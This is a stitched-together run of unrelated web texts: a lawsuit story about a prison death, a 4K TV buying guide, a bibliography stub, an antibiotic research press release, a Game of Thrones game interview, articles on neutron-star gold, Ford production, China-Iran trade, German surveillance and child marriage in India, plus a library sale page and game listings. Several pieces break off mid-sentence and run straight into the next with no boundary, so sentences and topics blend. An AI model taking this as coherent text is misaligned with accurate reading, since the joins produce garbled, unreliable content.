The lawsuit filed on behalf of Tiffee’s family notes CCA’s voluminous income, which the company says provides Oklahomans with the “highest standards of quality.” Taxpayers in the state paid the company nearly $2.3 million a month in 2015 to CCA to run prisons there, and they have what Bryan says is the deadliest incident in the state’s prison history to show for it.
Tiffee’s father, Steve, a retired member of law enforcement, remembered his son not as a brutally murdered gang member, but a boy who “would look out for the smaller kids and kids with disabilities to protect them.”
Kyle spoke with his father often about God, about his plans to get involved in church when he was released from Cimarron to stay out of trouble.
“It’s hard to explain your feelings unless you have lost a child,” Steve said. “It’s been a year and each day is a struggle for me. Some days every time I think of him I start crying.”This is the year buying a 4K TV seems to make a lot more sense.
Everything is falling into place: 4K services are primed to explode, and UltraHD sets will be both plentiful and more affordable. You won't just see one 4K showpiece in a manufacturer's lineup, you’ll see tiers of UltraHD sets. They'll all upscale 1080p content, making it look even better. They'll have built-in connectivity and streaming apps. They'll come at every price-point. They'll range from quantum-dot to OLED to sets that mimic 8K resolution. And you may see more new 4K TVs than HDTVs this year.
Make no mistake: this is not just hype. It is not 3-D. This is the future, and in the coming years, 4K will be as ubiquitous and essential as HD video is now. Everyone from studios and streaming services to the manufacturers are putting their full weight behind the push. This is why the TV industry expects 2015 to be a breakout year for 4K. The Consumer Electronics Association predicts UHD TV shipments will hit 4 million in 2015 and revenues will exceed $5 billion. That's up from around 800,000 shipments and $2.5 billion in revenues last year— a huge leap forward.
Still, you may want to teeter just a bit longer on the diving board before taking the UltraHD plunge. Give it a few more months, because by this time next year, our picture of the 4K universe will be as clear as the picture on the sets. The content options and the hardware are only going to get better.
And that’s the thing: They’re only going to get better. At the moment, there's a problem: there are competing approaches and content packages, with different manufacturers offering different ways to get all that amazing video. It's not like the Betamax/VHS or Blu-Ray/HD-DVD format wars, which were about content delivery systems that worked with any TV. With 4K, the TV is the content delivery system. It's more like an OS war.
And 4K is forked.
If you jump in now, you’ll need to consider exclusivity deals, bandwidth demands, which big-gun content providers are behind which TVs, and the nuances of each built-in smart platform. Until all the major services—Netflix, Amazon, etc.—run on every 4K set, until there’s a simple plug-and-play 4K device like a streaming box or a console, and until lower bitrates or beefier bandwidth are universal, you’ll be buying into a UHD construction zone. And while the pool of 4K content will greatly expand this year, it doesn't mean everything you want to watch will be available in UltraHD.
This Is More Than a Resolution Jump
On the surface, the jump to 4K looks a lot like the transition from standard definition to HD. But it’s entirely different for many reasons, not the least of which is this: 4K is the first tectonic TV shift where traditional content delivery is secondary. The 4K revolution, for now, anyway, is all about streaming, not broadcast, or cable, or discs.
With 4K, streaming isn’t just a cable-cutting measure anymore. It’s the primary delivery mechanism, and that could change the entire nature of television—not just how we (binge-)watch it, but how we decide which company’s 4K set to buy. You see, you can’t buy a 4K-capable Roku, Amazon Fire TV, or Apple TV box right now. Yes, you can watch upscaled 1080p content, and that'll look great. But if you want a true 4K experience—tack-sharp detail and you-are-there realism—you’re largely limited to the 4K services offered by each TV’s built-in smart platform.
So there’s no cheap-n-easy 4K set-top box just yet, but Roku and TCL are planning to bake one into TCL sets—at some point in the not-too-distant future. The industry is "nearing a 4K tipping point, where the amount of content will push consumer demand," says Chris Larson, VP of sales and marketing for TCL North America. "We plan to have the 4K TCL Roku TV in market by [that] time."
Meanwhile, Dish Network announced its 4K Joey at CES last week. It'll require a monthly Dish subscription ($30 to $90 per month) and a Hopper DVR. That’s a much bigger investment than the fee-free 1080p streaming boxes you can get for less than a C-note, and so far Dish won't dish on what specific 4K content might be available. More 4K streamers are certainly coming, but the major manufacturers are revamping their smart-TV platforms in an attempt to replace those boxes altogether.
Dish Network's 4K Joey, which was announced at CES 2015, is the first 4K streaming box. It requires a Dish |
national debt and the arts scene. Some of the music used in these productions came from her soundtrack of Swimming to Cambodia. The PSAs were frequently shown between music videos on VH-1 in early 1990.
Films [ edit ]
Television [ edit ]
Audiobooks [ edit ]
Bibliography [ edit ]
United States (HarperCollins, 1984) ISBN 0-06-091110-7
(HarperCollins, 1984) ISBN 0-06-091110-7 Empty Places (A Performance) (Harper Perennial, 1991) ISBN 978-0-06-096586-0
(Harper Perennial, 1991) ISBN 978-0-06-096586-0 Stories from the Nerve Bible: A Twenty-Year Retrospective (HarperCollins, 1994) ISBN 0-06-055355-3
(HarperCollins, 1994) ISBN 0-06-055355-3 Dal vivo (Fondazione Prada, 1999) ISBN 88-87029-10-5
(Fondazione Prada, 1999) ISBN 88-87029-10-5 Night Life (Edition 7L, 2007) ISBN 3-86521-339-1
(Edition 7L, 2007) ISBN 3-86521-339-1 All the Things I Lost in the Flood (Rizzoli Electa, 2018) ISBN 0847860558
References [ edit ]Scripps Research Institute Chemists Modify Antibiotic to Vanquish Resistant Bacteria
September 17, 2014
LA JOLLA, CA—September 17, 2014—Scientists at The Scripps Research Institute (TSRI) have devised a new antibiotic based on vancomycin that is powerfully effective against vancomycin-resistant strains of MRSA and other disease-causing bacteria.
The new vancomycin analog appears to have not one but two distinct mechanisms of anti-microbial action, against which bacteria probably cannot evolve resistance quickly.
“This is the prototype of analogues that once introduced will still be in clinical use a generation or maybe even two generations from now,” said Dale L. Boger, the Richard and Alice Cramer Professor of Chemistry at TSRI.
The report by Boger and members of his laboratory was published recently online ahead of print by the Journal of the American Chemical Society.
Increasing Reports of Resistance
Vancomycin entered clinical use in 1958, five years after its isolation from microbes in a soil sample gathered by an American missionary in Borneo. For nearly six decades it has been useful against a wide range of bacteria, and it remains a standard weapon against methicillin-resistant Staphylococcus aureus (MRSA), a major cause of hospital-acquired infections. A compound closely related to vancomycin also has been widely used to protect livestock.
Since the late 1980s, there have been increasing reports of vancomycin resistance in classes of bacteria that usually succumb to the antibiotic, including MRSA. Although vancomycin remains useful, scientists have been looking for new drugs to replace it in cases—often life-threatening—where it no longer can help patients.
The Boger laboratory has focused on inventing improved versions of vancomycin rather than entirely new compounds. “Vancomycin has lasted in clinical use for more than 50 years, in part because it isn’t very vulnerable to antibiotic resistance,” Boger said. “Our thought has been that if we find a vancomycin analog that addresses this current source of resistance we’ll get another 50 years of use out of it.”
Vancomycin works by binding to the building blocks of bacterial cell walls, in a way that prevents their proper assembly and leaves bacteria too leaky to live and replicate. The resistance comes from a single amino-acid alteration that some bacteria make to those building blocks, so that the antibiotic molecule can no longer get a firm grip. That drops vancomycin’s potency by a factor of about 1,000.
‘Incredibly Potent’
In 2012, Boger and his team reported making a vancomycin analog—informally termed vancomycin amidine—with a subtly altered binding pocket that fastens about equally well to the original and resistant sites on bacterial cell wall subunits. To get the precise structural modification they needed, they had to come up with a method for the “total synthesis” of this vancomycin-based compound—a controlled, step-by-step construction using organic chemistry reactions in the lab, rather than a natural enzyme-mediated production within cells.
“Years of work in this lab culminated in a total synthesis strategy that not only allowed us access to this target compound, but also gave us the ability to perform almost any other chemical modification of vancomycin that we wished,” said Akinori Okano, first author of the new report, who is an assistant professor of chemistry at TSRI.
Vancomycin amidine turned out to have acceptable level of activity against vancomycin-resistant and -sensitive bacteria, yet there was room for improvement. Thus in the new study, Okano, Boger and their colleagues used their vancomycin synthesis methods to add an additional feature to the molecule—a peripheral chlorobiphenyl (CBP), long known as a general booster of vancomycin’s potency.
“To our delight, the combination of these modifications led to an incredibly potent molecule, well beyond anything we had expected,” said Okano.
In lab dish tests, the new vancomycin analog proved highly effective against the usual vancomycin-sensitive bacteria as well as vancomycin-resistant MRSA and enterococcal bacteria.
The tests also suggested that the CBP modification, whose boost to potency has been thought to come from some broad enhancement of vancomycin’s activity, might in fact work via its own distinct attack on bacterial cell wall synthesis.
“This is probably the clearest depiction to date of the fact that for the CBP derivatives there must be a second mechanism of action, independent of vancomycin’s main mechanism of action,” Boger said. “[Such analogs] are likely to display especially durable antibiotic activity—that is, they won’t be prone to rapidly acquired clinical resistance.”
Boger and his colleagues now will try to optimize the synthesis process for the new analog, to provide quantities suitable for preclinical testing in animals.
Other co-authors of the paper, “Total Synthesis of [Ψ[C(=NH)NH]Tpg4] Vancomycin and its (4-Chlorobiphenyl) methyl Derivative: Impact of Peripheral Modifications on Vancomycin Analogs Redesigned for Dual D-Ala-D-Ala and D-Ala-D-Lac Binding,” were Atsushi Nakayama and Alex Schammel of the Boger Laboratory. For more information, see http://pubs.acs.org/doi/abs/10.1021/ja507009a?journalCode=jacsat
The research was supported by the National Institutes of Health (grant CA041101).After a legacy of fantasy novels and a successful ongoing HBO television series, Game of Thrones is coming to Facebook. Bringing author George R. R. Martin's fantasy universe to the massive Facebook gaming space is partially a natural fit -- the world of faction loyalty, subversive social politics and shifting loyalties lends itself to social media. Yet it's a big challenge, too and one Boston-based startup is tasked with the job.Boston-based Disruptor Beam was recently founded with the goal of bringing story-driven worlds to the social games space. It's the brainchild of serial entrepreneur Jon Radoff, who most recently founded GamerDNA, but started off in the online space with 1992's NovaLink, which distributedacross the CompuServe network.Now Radoff helms a company that's developed its own proprietary HTML5 engine oriented toward social gaming; Disruptor Beam is funded by early-stage venture capital and backers including Harmonix's founders. Narrative designer Jonathon Myers takes the lead on shaping the essential story environment foron Facebook, and works with a team of writers and designers reporting directly to Radoff and lead designer Tim Crosby.Myers worked onand Owlchemy Labs'before finding a home at Disruptor Beam, who was looking for someone with experience on a live story-driven game. Currently,has five contract writers who collaborate remotely on a daily basis, Myers explains, with planning and tracking quintessential to the process."Tim and I have together developed a pipeline for quest writing that includes spreadsheet tools for the writers that enable quick output and revision before a smooth export into the game," Myers explains of the process. "It's like a truncated RPG toolset with a focus on preparation for fast release to the build environment."Myers says that when it comes to, the investment toward story in the social game is massive -- and in his opinion, remarkable for the Facebook space. Fans of Martin's A Song of Ice and Fire series must maintain an incredible attention to detail to keep up with the author's detailed universe, and that requires a lot of work on the part of the narrative staff -- which includes former writers from BioWare's, former staff of 38 Studios and Zenimax, as well as one of the writers from Green Ronin's Game of Thrones pen and paper RPG.Myers' first assignment on the project was to determine first steps when it comes to adapting a fervent fanbase and an obsessively-detailed universe for the world of Facebook gaming: "I was tasked with setting out how we could translate the experience of the books, tv show and universe into an interactive narrative experience," says Myers."The first step was fully immersing myself in the material and taking notes on the primary experience so that moving on from it into the interactive would result in authenticity, which is a major design principle," he says. "The huge web of characters is a space in which you can get lost, and spending even a little time on the wiki will prove that. All characters are surrounded by family, friends and enemies who all want to tug at or push each other in the pursuit of power."Characters in the series are frequently confronted with difficult moral and ethical decisions that define them as characters, he points out. "Once I realized that is what it's like for a character to live in Westeros and play the Game of Thrones, it was clear we needed to offer that exact experience as authentically as possible while also allowing players to experience the people, places and events of the Ice and Fire universe they love," says Myers. "The dense lore is the universe, and it's available as a space in which characters (playable and non-playable) can live."When it comes to the Facebook space, the team hopes to leverage the series' existing environment of social conflict -- which Myers believes comes to bear especially in today's age of political conflict in the Western world, where many people turn to Facebook to state their positions. "Take away the cat videos, up the stakes to life or death, displace those interactions into a medieval setting and you've got the roots of Westeros," he says."In our game, we're offering a chance to step into a role and play out those alliances and social conflicts in a story and character-driven environment that is ready-made for it," he adds."We've claimed that we're actually an 'anti-social game', and players will be able to backstab each other to their heart's content," he adds. A goal for his team is to deliver on letting audiences experience the primary themes of "power and obligation."There are some clear traits about the series that lend themselves to social games: Loyal readers and passionate fans getting to pick distinct families to represent within a complex ecosystem. Yet how will the team ensure the more subtle elements stay intact?"Pledging fealty as a bannerman to a Great House is the core decision any player will first make in our game," Myers says. The world of the books employs a number of different narrative perspective, with events seen through the eyes of various individuals with different roles to play, different cultures and customs, and different concepts of stakes."In the same way, we're putting the player into a role and we give them a perspective on the world. That perspective is most defined by the Great House to which they are sworn," Myers says. "It determines the region in which the player exists. It determines how a player will experience narrative events."Myers says it's important for the team of writers and designers to take these varying perspectives and allegiances into account. "We break down our writing plans with that in mind and at times different writers are tasked with handling particular perspectives," he says.The series' underlying themes often heavily involve violence and sexuality, yet Facebook gaming is generally considered an all-ages space. Yet the team doesn't want to compromise: "We're not looking at this as something for all-ages," Myers says. "The Facebook population is diverse, and we want that diverse audience playing the game, but staying true to the source is of the utmost importance.""We adhere to a notion that a graphic description is often not as powerful as the imagery created in the mind of the reader when left to wander," he continues. "We fully embrace the world and within a few minutes of play you're involved in the themes you mention. We don't shy away, but we do take extra steps to handle things with maturity. We vet it with peer reviews if something is risque. It's also important that we provide the option for players to avoid doing unsavory things as a character. Moral decisions provide different options and outcomes so the player can experience these situations in a way they feel most comfortable."The social intrigue already provides some ready-made mechanics for players, but crafting an over-arching narrative that unites all of that is its own interesting challenge. Fortunately, the narrative team is able to craft a world of original NPCs with their own points of view, roles and status."Once the stage is set, and the player is cast in the role of noble, there's nowhere to go but up" Myers says. "If you were a newly minted noble under a great house, wouldn't you see it as the time to jockey for a higher position? But if others have the same idea as you, it can get ugly... So yes, there is an original story thread that that is consistent with the universe and actually works parallel to known canon events. I can't say much more than that at this point."Myers admits that it was at first "terrifying" to deal with Game of Thrones' passionate fanbase and the intimidating volume of lore associated with the A Song of Ice and Fire universe. But with the full blessings of HBO and the author, the team began to gain the confidence to move forward and get creative."Having a very talented team that works together and has extensive knowledge of the universe helps. We all have a sense that we're onto something special and unique here. We're driven to take this opportunity and make something of it," says Myers. "We definitely feel the weight of responsibility to the fans, but we're all huge fans ourselves so this weight is more like an accepted challenge than a burden."The team has a community manager dealing with the outward-facing efforts, and the narrative team will continue to work with that person going forward: "I really believe community management is a key to building a live social game as a service, in particular with narrative content," he says. "In past projects I found community was crucial to the assessment of releases in connection with the typical empirical data."As a writer, Myers says one of the biggest challenges becomes wanting to do too much with too little time, given the project's rapid development schedule and having to delegate. "On the other hand, what's most gratifying is seeing content come in from our talented writers through a system and style that Tim and I developed from scratch while observing how RPG writing could be channeled into a social game," he says. "We're taking a lot of risks, and after many moments of doubt I now love to see all the content fill up the game as planned. Seeing a tester's reaction and receiving positive feedback about our authenticity is also a great thing."It's hard to be open about the process of working with such an enormous licensor, and specifics are often kept private -- "I'll say that it's been wonderful," Myers says. CEO Radoff has liased with author Martin himself, and HBO is "likewise very supportive," in Myers' words, "releasing information about our game and art through their own channels.""Working with a strong IP on a social game is great because you have a wide audience ready to inhabit a world they already know," he adds. "The basic worldbuilding is complete, if you just work with what's there."According to new research by Dr Edo Berger and his colleagues at the Harvard-Smithsonian Center for Astrophysics, all Earth’s gold likely came from colliding neutron stars.
Unlike elements like carbon or iron, gold cannot be created within a star. Instead, it must be born in more cataclysmic events known as gamma-ray bursts (GRBs).
Dr Berger’s team studied the gamma-ray burst GRB 130603B, detected by NASA’s Swift satellite on June 3, 2013. At a distance of 3.9 billion light-years from Earth, the event is one of the nearest bursts seen to date.
GRB 130603B observations provide evidence that it resulted from the collision of two neutron stars. Moreover, a unique glow that persisted for days at the GRB location potentially signifies the creation of substantial amounts of heavy elements, including gold.
Gamma-ray bursts come in two varieties – long and short – depending on how long the flash of gamma rays lasts. GRB 130603B lasted for less than two-tenths of a second. Although the gamma rays disappeared quickly, GRB 130603B also displayed a slowly fading glow dominated by infrared light. Its brightness and behavior didn’t match a typical ‘afterglow,’ which is created when a high-speed jet of particles slams into the surrounding environment.
Instead, the GRB 130603B’s glow behaved like it came from exotic radioactive elements. The neutron-rich material ejected by colliding neutron stars can generate such elements, which then undergo radioactive decay, emitting a glow that’s dominated by infrared light – exactly what the team observed.
“We’ve been looking for a ‘smoking gun’ to link a short gamma-ray burst with a neutron star collision. The radioactive glow from GRB 130603B may be that smoking gun,” said Dr Wen-fai Fong, co-author of a paper submitted for publication in the Astrophysical Journal Letters (preprint at arXiv.org).
The scientists have calculated that about one-hundredth of a solar mass of material was ejected by the gamma-ray burst, some of which was gold.
By combining the estimated gold produced by a single short GRB with the number of such explosions that have occurred over the age of the Universe, all the gold in the cosmos might have come from gamma-ray bursts.
“To paraphrase Carl Sagan, we are all star stuff, and our jewelry is colliding-star stuff,” Dr Berger concluded.
______
Bibliographic information: E. Berger et al. 2013. Smoking Gun or Smoldering Embers? A Possible r-process Kilonova Associated with the Short-Hard GRB 130603B. ApJ L, submitted for publication; arXiv: 1306.3960What does Brexit mean for the devolved nations of Britain? We know so much about the political debate in Scotland, but what about Wales.
Unlike Scotland and Northern Ireland, Wales voted by a majority to leave the EU. That was a blow to the nationalist party, Plaid Cymru, and the movement overall.
So where is Welsh opinion now? What do people there make of the idea of a Westminster “power grab” as the UK parliament sets out to accrue powers as they return from Brussels, post Brexit?
Derek Bateman invited Professor Richard Wyn Jones, director of the Wales Governance Centre at Cardiff University, to discuss the Welsh perspective. He looks back on the impact of the Brexit vote, the follies of the Cameron government and what it all means for the Welsh Government as it grapples to respond.
The result is a fascinating discussion of issues with which we in Scotland are all too familiar, but from the Cardiff perspective (and some Norwegian perspective too – tune in to find out more…)
You can tune in by clicking on the audio file above, via your usual podcast channels including iTunes, or using our RSS feed: http://www.buzzsprout.com/57229.rss
Newsnet.scot podcasts are professionally made to enhance your listening experience. Please support our ongoing media services by subscribing whatever you can afford. Thank you.- Ford Motor Co. will export vehicles from China to the U.S. for the first time starting in 2019.
Ford said Tuesday it plans to move production of its Ford Focus small car from the U.S. to China, where it already makes the Focus for Chinese buyers.
Sales of small cars have dropped sharply in the U.S. and companies are seeking to cut costs making them. Ford's president of global operations Joe Hinrichs said the move to China will save the company $1 billion, including $500 million for canceling plans to build the Focus in Mexico.
Wary of the response from President Donald Trump, who has criticized Ford for making vehicles outside the U.S., Ford said the move won't cost U.S. jobs. The suburban Detroit plant that currently makes the Focus will be converted late next year to produce the Ford Ranger pickup and Ford Bronco SUV.
Hinrichs said Ford's research shows that customers -- who are used to phones and other gadgets from China -- care more about product quality than where their vehicles are made.
Ford also said Tuesday that it plans to invest $900 million in its Kentucky Truck Plant in Louisville to make the new, aluminum-sided Ford Expedition and Lincoln Navigator SUVs. Those vehicles will go on sale this fall and will be exported to more than 55 markets globally, the company said. The investment will secure 1,000 jobs at the Kentucky plant.
The Focus has been bounced around over the last few months as Ford tried to squeeze some profits from the ailing small car segment. U.S. Focus sales were down 20 percent through May, hurt by low gas prices and consumer preference for SUVs.
In January, the company announced it would cancel a new plant in Mexico and instead use capacity at another plant in Mexico to build the Focus. But over the last few months, Hinrichs said, Ford decided it could save another $500 million in tooling and other manufacturing costs if it moved production to China.
Hinrichs said last month's departure of former CEO Mark Fields had no bearing on the decision, which was in the works for some time.
Hinrichs said Chinese wages are lower than wages in Mexico, although the cost to ship the vehicles erases some of that advantage. It's still cheaper to make cars for the U.S. in Mexico, he said, but Ford has extra capacity in China and the move frees up capital for the company immediately.
Ford isn't the first car company to export vehicles to the U.S. from China. Volvo Cars made the move in 2015. General Motors Co. started importing the low-volume Buick Envision midsize SUV from China in 2016. GM also imports small numbers of a plug-in hybrid-electric Cadillac CT6 sedans from China.The Friends of the Temple Public Library Used Book Sale is held semi-annually - in February and prior to Labor Day. More than 45,000 books are presorted into over 90 categories and displayed in a roomy, comfortable setting on the Library’s 3rd floor. Most books are $1.00-$2.00 and children’s books and media are less. Cash, check or charge is accepted for payment.
Book donations make the sales possible and account for 95% of the sale inventory. Donations are accepted year-round and can be taken to the circulation desk at the Library.
Volunteers to work the sale are always needed and welcome. To volunteer, e-mail the friends at: friendsoftemplelibrary@gmail.com
Members of the Friends are invited to a preview night prior to the sale opening. To become a member of the Friends, complete the membership form, print, and mail with your check to:
Friends of the Temple Public Library
100 W. Adams
Temple, TX 76501
Celebrating 50 Years of Service!
Join the FTPL as we celebrate 50 years of service, provide committee updates, introduce new board members, and announce the Best Friend Award. Refreshments served.
50,000 books and media presorted into over 90 categories are offered in a roomy, comfortable setting at the downtown Temple Texas Public Library. Most books are $1-$2 with children's books and media even cheaper. Books, books on tape and CD, records, cassettes, CDs, VHS, DVDs, magazines, and various games/puzzles/activity books are all for sale.
Frequently asked questions:
Where Do The Books Come From? Books are donated, mostly from individuals.
How/When Can I Donate Books? Donations are accepted year-round at the circulation desk at the Temple Public Library.
How Many Books Will Be In the Sale? Between 40,000 - 50,000 books and media such as audio books, CDs, DVDs, etc.
What Happens To Leftover Books? Some books are saved for the next sale and many are donated to worthy causes and charities. The remainder is recycled.
How Many Volunteers Participate in the Sale? Over 80 individual volunteers work more 160 volunteer man-hours during the four-day sale and member night preview. In addition, about 100 volunteer hours are spent in set-up and tear-down of the sale. A fifteen-person team works year round to sort books into categories, logging well over 300 hours per team member each year.
How Many Customers Come to the Book Sale? Average participation per sale is 1,200 – 1,400 persons.
Membership ApplicationIran's geostrategic location has made it the key link in China's New Silk Road to Europe, while the Middle East has become one of Beijing's geopolitical pivots.
Following the inking of the Iranian nuclear deal, Beijing has bolstered its economic and political ties with Tehran and with good reason: Iran is not only a prospective supplier of oil and natural gas but also the key geostrategic region for the China-led New Silk Road project.
"Iran is the key link of the "Silk Road" land route to Europe, as it is connected to China by a railway through Turkmenistan and Kazakhstan," Sarkis Tsaturyan, a Russian-Armenian historian and international policy analyst, writes in his latest report for Regnum.
© AFP 2018 / KIRILL KUDRYAVTSEV From Shanghai to Berlin: How Russia, China are Creating Unified Eurasian Trade Space
The analyst specifies that he is referring to the Zhanaozen — Gyzylgaya — Bereket — Kyzyl Atrek — Gorgan railway, built between 2009 and 2014.
Indian scholar and strategic affairs consultant Debalina Ghoshal echoes Tsaturyan's stance in her opinion piece for YaleGlobal Online.
She points to the fact that since the signing of the Iranian nuclear deal, Beijing is emerging as a principal beneficiary of the agreement.
While the West is still reluctant to finance deals with Iran out of fear of violating sanctions which remain in place, China has jumped at the opportunity to outperform its Western competitors.
There are several reasons for China's pivot to the Middle East and most notably Iran.
According to the scholar, Middle Eastern markets are essential for Beijing's New Silk Road initiative to create a network of manufacturing and logistics centers in Central Asia and Europe.
"China's demand for oil imports is expected to grow from 6 million barrels per day to 13 million by 2035, and Iran, ranked fourth in the world in proven oil reserves and second in terms of natural gas reserves, is considered a reliable supplier," she underscores.
Ghoshal points to the fact that China's interest in Iran goes "beyond its energy resources."
"It [China] has a keen interest in Iran's geostrategic location, bordering both the Caspian Sea and the Persian Gulf. The location enables China to carry out the One Belt One Road agenda," the Indian scholar emphasizes.
Tsaturyan calls attention to the fact that Beijing is racing against the clock to build a route through Iran to the European Union: China wants to create a free trade zone with Europe to outstrip the US' Transatlantic Trade and Investment Partnership (TTIP) project.
Indeed, China's European pivot is no less important than the Middle Eastern one.
"The ultimate prize in the Silk Road plan — also known in China as the 'One Belt, One Road' initiative — is someplace else: Europe," Keith Johnson of Foreign Policy magazine wrote in early June, explaining that the EU bloc represents a bigger and richer market for Beijing than emerging economies along the Road.
Meanwhile, the Transcaucasia region has recently become a "battleground" for the US and China, Tsaturyan adds.
Indeed, while Washington tries to exert its influence on Georgia, Armenia and Azerbaijan — the former Soviet Republics — Beijing and Tehran are engaging the nations' interest in the China-led project.
The analyst remarks, that in this context, Iran's political maneuvers in Armenia and Azerbaijan have acquired a new meaning.
© AFP 2018 / Mandel NGAN China Spends $1 Trillion on ‘New Silk Road’ to Surpass US on World Stage
On the one hand, Tehran has confirmed its commitment to implementing the Qazvin-Rasht-Astara railway project, with the Rasht-Astara section connecting the rail networks of Iran and Azerbaijan, according to Tasnim News Agency. The new corridor is set to become a multi-purpose route between Iran, Azerbaijan, Europe and Russia.
On the other hand, Iran has abolished its visa regime with Armenia, prompting Bulgarian Prime Minister Boyko Borisov to raise the issue of a new transport corridor between the Persian Gulf and the Black Sea, which would connect Iran, Armenia, Georgia and Bulgaria, Tsaturyan points out, citing Focus News.
Regardless of Washington's displeasure, China and its important Middle Eastern ally Iran are pushing ahead with their new infrastructural projects, aimed at unifying the Eurasian trade space.
And still, when it comes to Caucasus and Transcaucasia, it is Russia which can lend its helping hand to Beijing and Tehran.Actor and politician Arnold Schwarzenegger said President Trump is creating a "void" by backing out of the Paris climate agreement, one that will be filled by leaders at the state and local level.
In a video posted to social media on Thursday, the former Republican governor of California called for a "grassroots revolution to save our planet." He said 70 percent of emissions can be controlled at the state and local level, and he urged local leaders to "rise up."
BREAKING: Arnold Schwarzenegger has a blunt message for Donald Trump. #ParisAgreement pic.twitter.com/YI8fcxEeox— ATTN: (@attn) June 2, 2017
Schwarzenegger also urged Trump to commit to his "first and most important responsibility" as president, which is to protect U.S. citizens.
At the forefront is improving Americans' health through reducing carbon emissions. Schwarzenegger mentioned a number of statistics, including a nod to a 2013 study that found air pollution causes 200,000 early deaths in the U.S. each year and that half of the rivers and streams are "too polluted for our health."
Turning his attention to Trump's concern that the international climate accord would kill millions of Americans jobs, Schwarzenegger argued it would actually "pump up" the economy.
"One man cannot destroy our progress," Schwarzenegger said.By WizardCrab
Greetings Summoners!
Here are this week's free champions:
Amumu - the Sad Mummy Attack Defense Ability Difficulty Primary Role Tank Secondary Role Mage
Darius - the Hand of Noxus Attack Defense Ability Difficulty Primary Role Fighter Secondary Role Tank
Draven - the Glorious Executioner Attack Defense Ability Difficulty Primary Role Marksman
Fiora - the Grand Duelist Attack Defense Ability Difficulty Primary Role Fighter Secondary Role Assassin
Fizz - the Tidal Trickster Attack Defense Ability Difficulty Primary Role Assassin Secondary Role Fighter
Janna - the Storm's Fury Attack Defense Ability Difficulty Primary Role Support Secondary Role Mage
LeBlanc - the Deceiver Attack Defense Ability Difficulty Primary Role Assassin Secondary Role Mage
Lux - the Lady of Luminosity Attack Defense Ability Difficulty Primary Role Mage Secondary Role Support
Rek'Sai - the Void Burrower Attack Defense Ability Difficulty Primary Role Fighter
Varus - the Arrow of Retribution Attack Defense Ability Difficulty Primary Role Marksman Secondary Role Mage
Wondering how we picked this week's free champions? Read up on it HERE.
See you on the Fields of Justice!Despite an ongoing investigation into the controversial mass surveillance program run by the German intelligence agency, BND, in co-operation with the US National security Agency (NSA), the BND is facing criticism for expanding its operations.
The issue of mass surveillance has taken on a prominent role in public opinion in Germany ever since former CIA contractor Edward Snowden — now living in Moscow — spilled the beans on the operations of the NSA, as well as the British intelligence agency GCHQ. Many in Germany resent the mass surveillance of Internet, email and telephone conversations.
© AFP 2018 / TOBIAS SCHWARZ Top German Spy: We Made Mistakes Working With NSA
The issue came to a head when it was revealed that German Chancellor Angela Merkel's mobile phone had been intercepted by the NSA, forcing Merkel to complain personally to US President Barack Obama.
Then, however, it was revealed that Germany's own intelligence service was in cahoots with the NSA by running an operation in Germany, snooping on industrial giants such as Siemens and Airbus, as well as politicians and state officials.
Snowden and other sources claimed that the US embassy in Berlin, overlooking the Reichstag, was being used as a base for a special unit of the CIA and NSA to monitor a large part of cellphone communications in the government district.
Merkel was plunged into a political crisis when it was revealed that her own Chancellory was aware of the operation and she was forced to appoint a senior judge to launch an investigation into the affair.
Lawmakers in Germany have called for the appointment of an independent surveillance supremo to oversee the work of the BND, on their behalf.
Media Microscope
Despite this, the BND is moving to a brand new huge office block in Chauseestraße, in Berlin's Mitte district, which critics say is a sign that it is expanding its operations. The building — which is due to be completed in 2016, has been surrounded by protesters, bearing banners saying "Refugees welcome, BND go away" and "You are now leaving the democratic sector" — a reference to the checkpoints in divided Cold War Berlin.
"Most people are still worried about the NSA," said Torsten Grote, who joined the protest and works with Free Software Foundation Europe, a group that lobbies against big proprietary software companies such as Microsoft, Google, and Facebook. Speaking to Nextgov, he said:
"We can't reform the NSA, but we can do something about the BND."
The new complex will be capable of housing 4,000 staff and will, replace the current HQ in the Bavarian town of Pullach — in a move many see as a huge consolidation in the nation's capital, making it a politically high-profile issue at a time when mass surveillance is under the media microscope.
Markus Beckedahl, a journalist who founded the Berlin website Netzpolitik, which published confidential German government documents, purporting to show efforts to expand US-German spying in Germany, said:
"We fear a bit the outcome of the Snowden revelations are not to be seen as a signal for saving civil liberties, but: 'Oh, let's do the same. We can do much more surveillance."
"So, the BND is getting more money for building up its capabilities for mass surveillance," Beckedahl said.India ranks 90 among 144 countries as the hardest place to be a girl, a report by an international NGO shows, underlining the challenges faced by women in a highly patriarchal society.
The ranking, based on schooling, child marriage, teen pregnancy, maternal deaths and women in parliament, placed India lower than all its neighbours -- Pakistan, Sri Lanka and Nepal.
The report by the non-profit Save the Children -- Every Last Girl: Free to live, free to learn, free from harm – also said girls as young as 10 are forced to marry in many countries including India, which has enacted stringent laws that make marriage of underage girls a punishable offence.
The findings highlight the challenges faced by the BJP-led government’s efforts to lift the status of women in the country by ensuring gender equality.
Prime Minister Narendra Modi, who launched the ‘Beti padhao, beti bachao’ (Educate girls to save the girl child) campaign after assuming power, on Tuesday cited the legend of Sita to exhort people to kill the evil of gender bias.
Thomas Chandy, CEO of Save the Children in India, said the age-old challenge cannot be addressed only through government policies.
“We have to change mindsets in the rural as well as urban areas…Discrimination in India against girls begins even before birth and the cycle of inequality continues to play out throughout their lives,” Chandy told HT.
The report said a young girl under the age of 15 is married every seven seconds worldwide, and 15 million girls are married before their 18th birthday each year.
“The good news is that data from 18 states shows that child marriage is down across India, including in states where it was rampant, like in Bihar, where it is down from 60% a decade ago to 39 %,” Chandy added.
India’s 2011 census data substantiates this fact.
Close to one in three (30%) married women in India were wed before they turned 18, the legal age of marriage, down from 43% in 2001. Of them, 2.3% were married before the age of 10.
In absolute numbers, 15 million girls became child brides in India between 2001 and 2011.
“Girls affected by conflict and natural disasters such as floods are more likely to become child brides as many displaced and refugee families marry off their daughters as a way to protect them against poverty or sexual exploitation,” Chandy said.
The report cites Nepal as a success story, where good lower-secondary school completion rate for girls, which, at 86%, is similar to Spain’s, is delaying the age of marriage.
(With inputs from Kumkum Dasgupta)
First Published: Oct 12, 2016 23:46 ISTThe center back position is a thin one for the Philadelphia Union. It is also, one full of unproven players. Currently, there are three center backs on the roster not counting |
shown in the video.
Photo courtesy of: Wikipedia CommonsThis past week saw the opening of the long-awaited Glenwood Greenway, a $65,000 bike lane on Glenwood Avenue between Ridge and Foster. The interesting thing about the Glenwood Greenway is that it’s a “contraflow” bike lane, meaning that the bike lane is oriented against car traffic. Car lane goes north, bike lane goes south.
